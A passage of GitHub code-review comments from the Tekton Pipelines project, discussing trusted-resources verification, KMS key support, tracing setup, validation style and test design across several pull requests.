https://github.com/tektoncd/pipeline/blob/f732985ec30817703e6eeaa6914cc77a2b8adf3c/pkg/reconciler/pipelinerun/pipelinerun.go#L331 is an example of working around that (wrapping the function such that you have the namespace)", "comment_id": 1051099250, "created_at": "2022-12-16T19:41:58Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "discussed with @Yongxuanzhang - action to revisit remote resolution and see if it could make sense to include the kind and api version in the values returned from remote resolution so they don't need to be reconstructed here (and maybe this logic could potentially work regardless of the api version in future? i.e. doesnt need to explicitly be aware of beta vs v1 types... \ud83e\udd1e )", "comment_id": 1051106516, "created_at": "2022-12-16T19:53:15Z", "line": 55, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "ah okay makes sense - and if we use the lister then there is no actual API call required so that should be fine \ud83d\udc4d \r\n\r\nit might make your function signatures a bit simpler to pass around the objects vs. the lister functions but i dont feel too strongly", "comment_id": 1051108871, "created_at": "2022-12-16T19:56:48Z", "line": 321, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "yes plz mention in the release notes that the configmap feature is deprecated and add it to the list at https://github.com/tektoncd/pipeline/blob/main/docs/deprecations.md", "comment_id": 1051118180, "created_at": "2022-12-16T20:06:20Z", "line": 69, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "import side effects are pretty dangerous, and 'system testing' import side effects seem especially mysterious - if we can't remove this now and we have to include it to make the unit tests pass, can you create an issue to dig into what is going on here and see if we can avoid this side effect import?\r\n\r\n+ @jerop ", "comment_id": 1051235912, "created_at": "2022-12-16T23:34:20Z", "line": null, "path": "pkg/internal/computeresources/limitrange/limitrange_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "There are some other places in our code base using this. I think it is due to the use of `system.Namespace()`\r\nhttps://github.com/tektoncd/pipeline/search?q=_+%22knative.dev%2Fpkg%2Fsystem%2Ftesting%22", "comment_id": 1051242080, "created_at": "2022-12-16T23:46:30Z", "line": null, "path": "pkg/internal/computeresources/limitrange/limitrange_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "AFAICT we still hard-code SHA256 as the only supported alg. We should leave this out of the API until we support it.", "comment_id": 1052363420, "created_at": "2022-12-19T15:47:54Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n\tfakeverificationpolicyinformer \"github.com/tektoncd/pipeline/pkg/client/injection/informers/pipeline/v1alpha1/verificationpolicy/fake\"\r\n```", "comment_id": 1052369017, "created_at": "2022-12-19T15:53:03Z", "line": null, "path": "test/controller.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this is the case to test sha384 key @wlynch ", "comment_id": 1052459354, "created_at": "2022-12-19T17:28:15Z", "line": 264, "path": "pkg/trustedresources/verify_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "afrittoli", "body": "I don't believe this code belongs to this PR?", "comment_id": 1020587426, "created_at": "2022-11-11T22:12:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "kmjayadeep", "body": "nice find. Looks like this was removed from main and wasnt removed from this branch while rebasing", "comment_id": 1020676450, "created_at": "2022-11-12T05:09:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "github-advanced-security[bot]", "body": "## Size computation for allocation may overflow\n\nThis operation, which is used in an [allocation](1), involves a [potentially large value](2) and might overflow.\n\n[Show more details](https://github.com/tektoncd/pipeline/security/code-scanning/9)", "comment_id": 1021598431, "created_at": "2022-11-14T14:18:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "nit: we could probably extract this in a function to return the object we'll pass to the controller as well as the `defer` function for \"cleanly shutdown\".", "comment_id": 1035736279, "created_at": "2022-11-30T09:36:47Z", "line": 120, "path": "cmd/controller/main.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "If those are not set, is it a \"no-op\" or do we still go through some opentelemetry code (just without any endpoint) ? Asking this for a \"performance\" point of view.", "comment_id": 1035738024, "created_at": "2022-11-30T09:38:23Z", "line": 133, "path": "config/controller.yaml", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "Shouldn't this be `pipelinerun` instead ? `pipeline` might be \"confusing\".", "comment_id": 1035739284, "created_at": "2022-11-30T09:39:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "Could we name this `TrackerName` or something ? It did confusing me a bit when reading the code (wasn't sure if it was a constant for the name, a global variable, \u2026)", "comment_id": 1035742018, "created_at": "2022-11-30T09:41:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/tracing.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "afrittoli", "body": "`TracerName` rather than `TrackerName`?", "comment_id": 1035803214, "created_at": "2022-11-30T10:37:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/tracing.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "@afrittoli yes, typo on my part \ud83d\ude43 ", "comment_id": 1035814892, "created_at": "2022-11-30T10:48:46Z", "line": null, "path": "pkg/reconciler/pipelinerun/tracing.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "kmjayadeep", "body": "If endpoint is not set or if initialization fails, no-op provider is initialized. it is an implementation of tracerProvider interface and does nothing", "comment_id": 1036155180, "created_at": "2022-11-30T15:59:04Z", "line": 133, "path": "config/controller.yaml", "pr_number": 5746, "repo": "pipeline"} +{"author": "kmjayadeep", "body": "I don't understand. do you mean, to add the error check and return `NoopTracerProvider` from the `tracerProvider(service)` method itself?", "comment_id": 1036157087, "created_at": "2022-11-30T16:00:37Z", "line": 120, "path": "cmd/controller/main.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "I was thinking something like :\r\n\r\n```go\r\ntrPipelineRun, trTaskRun, deferFn := initializeTracers(\u2026)\r\ndefer deferFn()\r\n\r\nfunc initializeTracers(\u2026) (\u2026) {\r\n # \u2026\r\n return trPipelineRun, trTaskRun, func() { \r\n // the content of the defer below\r\n }\r\n}\r\n```\r\n\r\nAnd do all \"tracer\" related code in there. But it's a nit, I'm happy to keep it as is as well \ud83d\ude09 ", "comment_id": 1036164193, "created_at": "2022-11-30T16:06:34Z", "line": 120, "path": "cmd/controller/main.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "vdemeester", "body": "Thanks \ud83d\udc4d\ud83c\udffc ", "comment_id": 1036164387, "created_at": "2022-11-30T16:06:44Z", "line": 133, "path": "config/controller.yaml", "pr_number": 5746, "repo": "pipeline"} +{"author": "afrittoli", "body": "It sounds like something we could fix in a follow-up?", "comment_id": 1083976030, "created_at": "2023-01-23T12:06:10Z", "line": 120, "path": "cmd/controller/main.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "afrittoli", "body": "It looks like these were missed in some previous PR, but I wonder by CI did not catch them.\r\n@vdemeester @abayer any idea?", "comment_id": 1083980317, "created_at": "2023-01-23T12:10:57Z", "line": 4574, "path": "docs/pipeline-api.md", "pr_number": 5746, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ditto", "comment_id": 1083980455, "created_at": "2023-01-23T12:11:06Z", "line": 6363, "path": "docs/pipeline-api.md", "pr_number": 5746, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice! These means that a `PipelineRun` too can receive an input context, which means we can support existing contexts for pipelines, like in the case of pipeline in pipeline, or a pipeline triggered via CloudEvent with a tracing context in it.", "comment_id": 1083984882, "created_at": "2023-01-23T12:16:00Z", "line": 55, "path": "pkg/reconciler/pipelinerun/tracing.go", "pr_number": 5746, "repo": "pipeline"} +{"author": "jerop", "body": "are these blank identifiers here for now because the packages are not yet used? if so, why not import the packages in the PR where they are actually used?", "comment_id": 1054271847, "created_at": "2022-12-21T11:15:30Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5890, "repo": "pipeline"} +{"author": "vdemeester", "body": "@jerop they are imported here for the [`init`](https://github.com/sigstore/sigstore/blob/main/pkg/signature/kms/gcp/client.go#L44) of those packages to be executed, to \"register\" themselves on some other \"package\" that is/might be used. \r\nFor example, this is the same technique used by the k8s credential package helper.", "comment_id": 1054292153, "created_at": "2022-12-21T11:40:06Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5890, "repo": "pipeline"} +{"author": "vdemeester", "body": "(I am usually not a fan of that approach, but oh well, sometimes there is no other way around \ud83d\ude43 )", "comment_id": 1054292570, "created_at": "2022-12-21T11:40:32Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5890, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thank you so much!! @vdemeester. \r\nSorry I was ooo before and not able to answer this comment. @jerop ", "comment_id": 1060917673, "created_at": "2023-01-03T20:07:17Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5890, "repo": "pipeline"} +{"author": "lbernick", "body": "The comments here aren't very informative, consider removing them or including a one-line comment that we need to execute these packages' init functions for xyz reasons.", "comment_id": 1062843839, "created_at": "2023-01-05T19:57:48Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5890, "repo": "pipeline"} +{"author": "wlynch", "body": "This file may not be the right place, but we should add a test that loads and uses a KMS provider. https://pkg.go.dev/github.com/sigstore/sigstore@v1.5.0/pkg/signature/kms/fake be likely useful here (or feel free to write your own).", "comment_id": 1052585667, "created_at": "2022-12-19T19:56:36Z", "line": 187, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this PR only adds the filed in api and not really use it. \r\nDid you suggest add tests to mock kms when we use it?", "comment_id": 1052587480, "created_at": "2022-12-19T19:59:11Z", "line": 187, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "wlynch", "body": "Sounds good \ud83d\udc4d ", "comment_id": 1052588996, "created_at": "2022-12-19T20:01:25Z", "line": 187, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I plan to divide this feature into 3 small PRs, 1 adds libraries, 2 adds field and 3 uses it .\r\nShould I use the `fakekms` to mock in the 3rd pr?", "comment_id": 1052589645, "created_at": "2022-12-19T20:02:17Z", "line": 187, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "jagathprakash", "body": "nit:\r\nThis entire piece can be recoded as \r\nnum_key_types := 0\r\nif key.Data != \"\" {\r\n num_key_types += 1\r\n}\r\nif key.SecretRef != nil {\r\n num_key_types +=1 \r\n}\r\n..\r\nif num_key_types == 0 {\r\n errs = errs.Also(apis.ErrMissingOneOf(\"data\", \"secretref\"))\r\n}\r\nif num_key_types > 1 {\r\n errs = errs.Also(apis.ErrMultipleOneOf(\"data\", \"kms\", \"secretref\"))\r\n}\r\n\r\nWhich would be more concise and clear.", "comment_id": 1052658349, "created_at": "2022-12-19T21:38:11Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thank! I agree this has more readability, I will change the code!", "comment_id": 1052668946, "created_at": "2022-12-19T21:52:50Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "chuangw6", "body": "Since multiple keys are checked via keyCount, `if key.Data != \"\" && key.SecretRef != nil {` seems not needed anymore.", "comment_id": 1052715322, "created_at": "2022-12-19T23:01:09Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "chuangw6", "body": "We should briefly comment what the format the kms url should follow, and also document in [trusted-resources.md](https://github.com/tektoncd/pipeline/blob/main/docs/trusted-resources.md). Are we planning to use sigstore package to do the signing? If so, https://docs.sigstore.dev/cosign/kms_support/ might be a good ref to link to.", "comment_id": 1052717417, "created_at": "2022-12-19T23:05:35Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks I missed this one", "comment_id": 1052719003, "created_at": "2022-12-19T23:09:10Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I plan to add it next PR. I think we shouldn't add this in docstrings and in docs in this PR. Since they are not supported yet", "comment_id": 1052719445, "created_at": "2022-12-19T23:10:06Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "bendory", "body": "In addition to the format, I suggest providing a concrete example. \"A picture is worth 100 words.\" :-)", "comment_id": 1053451989, "created_at": "2022-12-20T15:34:46Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "bendory", "body": "Please add a comment explaining that you are validating that one and only one of Data, SecretRef, KMS is defined. (As the code exists today, I have to read and understand the code to figure that out myself -- please make my life easier!)", "comment_id": 1053459814, "created_at": "2022-12-20T15:41:59Z", "line": 65, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "bendory", "body": "```suggestion\r\nswitch keyCount {\r\n case 0:\r\n\t\terrs = errs.Also(apis.ErrMissingOneOf(\"data\", \"kms\", \"secretref\"))\r\n\r\n case 1:\r\n // do nothing -- a single key definition is valid\r\n \r\n default:\r\n\t\terrs = errs.Also(apis.ErrMultipleOneOf(\"data\", \"kms\", \"secretref\"))\r\n} ```", "comment_id": 1053461347, "created_at": "2022-12-20T15:43:27Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "bendory", "body": "Can we make these test cases less fragile? If the given error changes in the implementation, this test will start failing. Maybe there's a way to untie them such that the test case is less fragile?\r\nFor example, what if someone has good reason to change the case from `kms` to `KMS` in the implementation -- as written, they now have to change the test code as well -- but this is not a functional change, it's just a change in the error message. Can we test for functional change instead of error message?", "comment_id": 1053467703, "created_at": "2022-12-20T15:49:27Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "bendory", "body": "This comment also applies to the ordering of the error message in index `0`. Can we be order-independent such that the test remains valid even if the order of validation changes in the implementation?", "comment_id": 1053468793, "created_at": "2022-12-20T15:50:31Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is how we return err for validation in current code base, take this for example: https://github.com/tektoncd/pipeline/blob/17b705c0efbc62741e41f4c99015db743552fb9b/pkg/apis/pipeline/v1beta1/pipelineref_validation.go#L37-L54\r\nI think we should keep it consistent until we want to change them all", "comment_id": 1053535460, "created_at": "2022-12-20T16:51:36Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! thanks for your suggestion!", "comment_id": 1053535752, "created_at": "2022-12-20T16:51:53Z", "line": 65, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks! Great suggestion!", "comment_id": 1053537778, "created_at": "2022-12-20T16:53:53Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> In addition to the format, I suggest providing a concrete example. \"A picture is worth 100 words.\" :-)\r\n\r\na potential example makes sense! I also added a note as you suggested", "comment_id": 1053538369, "created_at": "2022-12-20T16:54:30Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "dibyom", "body": "Consider using a pointer for an optional type : https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/api-conventions.md#optional-vs-required", "comment_id": 1062092697, "created_at": "2023-01-05T04:05:53Z", "line": 100, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I cannot find a pointer string being used in our api, I think we should keep it consistent? ", "comment_id": 1062673150, "created_at": "2023-01-05T16:39:01Z", "line": 100, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "lbernick", "body": "I almost have the opposite take from Bendory-- I often give the feedback he is giving, but here I think it actually makes sense to include the text of the error message rather than `apis.ErrMultipleOneOf`. The reason is that sometimes these helper functions can lead to confusing error message strings, and you don't really realize what output the user is actually seeing until it's reflected in a test. This does have the downside of brittle tests, though.\r\n\r\nRe: consistency, I think the section you're referring to is in non-test code, while the comment David is making is a separate point about brittleness of tests.", "comment_id": 1062849570, "created_at": "2023-01-05T20:06:05Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "lbernick", "body": "The API conventions are a bit confusing here, it says \"Using a pointer allows distinguishing unset from the zero value for that type\" but also \"we ask that pointers always be used with optional fields that do not have a built-in nil value\" (assuming that \"nil value\" means \"zero value\" in this context).\r\n\r\nI agree with Yongxuan here, I think having an empty string implies that the URL is unset, not that the URL is \"\", so there's not a strong need to distinguish.", "comment_id": 1062853954, "created_at": "2023-01-05T20:11:32Z", "line": 100, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "lbernick", "body": "Are there docs you could link to here instead?", "comment_id": 1062854065, "created_at": "2023-01-05T20:11:42Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "There are docs in [Chains](https://github.com/tektoncd/chains/blob/f7b68a8d7be5cb04e4687813e0ce2a2985a33ee2/docs/signing.md#kms) but we cannot link it I guess?\r\nI remember David suggest adding an example here to show how does a sample kms url look like. ", "comment_id": 1062880320, "created_at": "2023-01-05T20:43:59Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "lbernick", "body": "Is sigstore the authority on what's a valid KMS URL? or do you have to look at gcp, aws, azure, etc? Can you say something like \"see sigstore/your cloud provider KMS docs for URL specification\" along with the example you have here?", "comment_id": 1062887314, "created_at": "2023-01-05T20:54:12Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> I almost have the opposite take from Bendory-- I often give the feedback he is giving, but here I think it actually makes sense to include the text of the error message rather than `apis.ErrMultipleOneOf`. The reason is that sometimes these helper functions can lead to confusing error message strings, and you don't really realize what output the user is actually seeing until it's reflected in a test. This does have the downside of brittle tests, though.\r\n> \r\n> Re: consistency, I think the section you're referring to is in non-test code, while the comment David is making is a separate point about brittleness of tests.\r\n\r\nAre you suggesting we should avoid using `apis.ErrMissingOneOf`?. It seems convenient and also used a lot in other validation functions. https://github.com/tektoncd/pipeline/search?q=apis.ErrMissingOneOf ", "comment_id": 1062887441, "created_at": "2023-01-05T20:54:23Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh yes, I found one in sigstore docs https://docs.sigstore.dev/cosign/kms_support. Is this ok?", "comment_id": 1062891184, "created_at": "2023-01-05T20:59:58Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I added this link in the comment", "comment_id": 1062893770, "created_at": "2023-01-05T21:03:54Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "lbernick", "body": "Only in tests. For example, in https://github.com/tektoncd/pipeline/issues/5673 I noted a confusing error message \"expected exactly one, got both: spec.taskRef.name, spec.taskRef.params, spec.taskRef.resolver\", which comes from `ErrMultipleOneOf`. These helpers are super useful in validation code but in tests IMO it's useful to be able to see the string error message the user encounters so you can check that it's not confusing.\r\n\r\nThe downside as David pointed out is that if you change \"kms\" in the code to \"KMS\", your tests will fail, but not in a way that gives you useful signal about the code. (The comment about indexing here I'm not sure I agree with, since the \"0\" refers to the index of the problematic field in the test data rather than an artifact of validation ordering.)\r\n\r\nI may be going more in depth than is necessary; feel free to use your best judgment here although I'd just note our tests aren't actually that consistent ([example](https://github.com/tektoncd/pipeline/blob/b27ec733a7debf40a31f9628bc749603963b8fbb/pkg/apis/pipeline/v1beta1/task_validation_test.go#L789-L792))", "comment_id": 1062896243, "created_at": "2023-01-05T21:07:38Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "lbernick", "body": "Great that's perfect", "comment_id": 1062896793, "created_at": "2023-01-05T21:08:33Z", "line": 95, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ohh I see your point. Thanks!", "comment_id": 1062900678, "created_at": "2023-01-05T21:12:53Z", "line": 98, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5891, "repo": "pipeline"} +{"author": "jagathprakash", "body": "should be \"public key\".", "comment_id": 1063662612, "created_at": "2023-01-06T18:04:16Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5965, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Add that this is \"PEM-encoded byte slice\" format.", "comment_id": 1063664865, "created_at": "2023-01-06T18:07:50Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5965, "repo": "pipeline"} +{"author": "jagathprakash", "body": "clang is erroring out with a message to convert the if elses to a switch.\r\nPlease fix.\r\n", "comment_id": 1063684601, "created_at": "2023-01-06T18:37:09Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, I should have fixed it", "comment_id": 1063697554, "created_at": "2023-01-06T18:53:54Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! Thanks!", "comment_id": 1063697768, "created_at": "2023-01-06T18:54:01Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks!", "comment_id": 1063697957, "created_at": "2023-01-06T18:54:09Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5965, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Instead of this, the fix could be \r\nswitch {\r\n case a.Key.Data != \"\":\r\n ....\r\n case a.Key.SecretRef != nil:\r\n ...\r\n}\r\nAs suggested by clang.\r\n", "comment_id": 1063804332, "created_at": "2023-01-06T21:12:57Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thanks!!", "comment_id": 1064842769, "created_at": "2023-01-09T16:36:27Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "wlynch", "body": "This is going to strip out any extra error details from `err` (i.e. https://go.dev/play/p/kSq5dKW1tTi)\r\n\r\nDo we want to use a custom wrapped error instead?", "comment_id": 1064892522, "created_at": "2023-01-09T17:26:34Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "wlynch", "body": "Not a part of this PR, but you probably want to init these in `main`, not the package library.", "comment_id": 1064895139, "created_at": "2023-01-09T17:28:24Z", "line": 32, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "wlynch", "body": "you can move this to the switch `default`", "comment_id": 1064896188, "created_at": "2023-01-09T17:29:22Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks!!", "comment_id": 1064927348, "created_at": "2023-01-09T17:53:53Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ah yes. The reason is that the error from `kms.Get` has a private field, I cannot assert the error with `error.is`\r\nhttps://github.com/sigstore/sigstore/blob/630a6277a539b55a854fe77049646ff4cad7c103/pkg/signature/kms/kms.go#L28-L31", "comment_id": 1064935773, "created_at": "2023-01-09T18:02:56Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "in main did you mean the controller [main](https://github.com/tektoncd/pipeline/blob/main/cmd/controller/main.go)?\r\nWhat's the difference between init in main and in lib?\r\n", "comment_id": 1064947624, "created_at": "2023-01-09T18:11:22Z", "line": 32, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "wlynch", "body": "I think it's because we're using `%v` for the underlying error instead of `%w` (because `%w` is being used for `ErrorFailedLoadKMSKey`).\r\n\r\nWe'd need to implement a [wrapped error](https://go.dev/blog/go1.13-errors) ourselves for this to work, since fmt.Errorf is returning it's own wrapped error type rather than a specific type we want to use.", "comment_id": 1064969505, "created_at": "2023-01-09T18:33:51Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I changed this part to wrap the error from `kms.Get`, figure out a way to test one error from it", "comment_id": 1065134993, "created_at": "2023-01-09T21:44:57Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "wlynch", "body": "Because of how the init registration works, including it in the library means that everyone who imports the library transitively will also have the same clients initialized. Moving these to main lets them only apply to a single application.", "comment_id": 1065144085, "created_at": "2023-01-09T21:57:22Z", "line": 32, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "wlynch", "body": "I don't think this isn't used now - remove?", "comment_id": 1065145005, "created_at": "2023-01-09T21:58:42Z", "line": null, "path": "pkg/trustedresources/verifier/errors.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh yes, sorry! >_<", "comment_id": 1065150031, "created_at": "2023-01-09T22:05:54Z", "line": null, "path": "pkg/trustedresources/verifier/errors.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ok got it, I will add a todo for this", "comment_id": 1065151730, "created_at": "2023-01-09T22:08:33Z", "line": 32, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5965, "repo": "pipeline"} +{"author": "lbernick", "body": "I think it would make sense to describe this as an \"alpha\" feature, even though it's not guarded by the \"enable-api-fields\" alpha flag.", "comment_id": 1130013510, "created_at": "2023-03-08T20:55:03Z", "line": null, "path": "docs/resolution.md", "pr_number": 6317, "repo": "pipeline"} +{"author": "lbernick", "body": "can you pull this into a helper function? e.g. like https://github.com/tektoncd/pipeline/blob/282a1d0dfe87b77b4bc19c1701f3637ac7df4b53/pkg/apis/config/testing/feature_flags.go", "comment_id": 1130017102, "created_at": "2023-03-08T20:59:17Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_defaults_test.go", "pr_number": 6317, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Hmm interesting, do we have an example of \"a alpha feature that is not guarded by the `enable-api-fields` feature flag?\"\r\n\r\nIf I got it correctly, the only thing we need to do to claim it is an `alpha` feature in this case is to add it to this [list](https://github.com/tektoncd/pipeline/blob/main/docs/additional-configs.md#alpha-features)?", "comment_id": 1130204896, "created_at": "2023-03-08T23:41:18Z", "line": null, "path": "docs/resolution.md", "pr_number": 6317, "repo": "pipeline"} +{"author": "lbernick", "body": "One example is trusted resources, which is guarded by the flag `resource-verification-mode`. You would just need to add it to the list of alpha features you linked, and describe it as an alpha feature in the docs.", "comment_id": 1131124609, "created_at": "2023-03-09T14:40:34Z", "line": null, "path": "docs/resolution.md", "pr_number": 6317, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Thanks, did some refactoring based on your comment, PTAL!", "comment_id": 1131246707, "created_at": "2023-03-09T15:59:46Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_defaults_test.go", "pr_number": 6317, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Adde as a alpha feature flag!", "comment_id": 1131247063, "created_at": 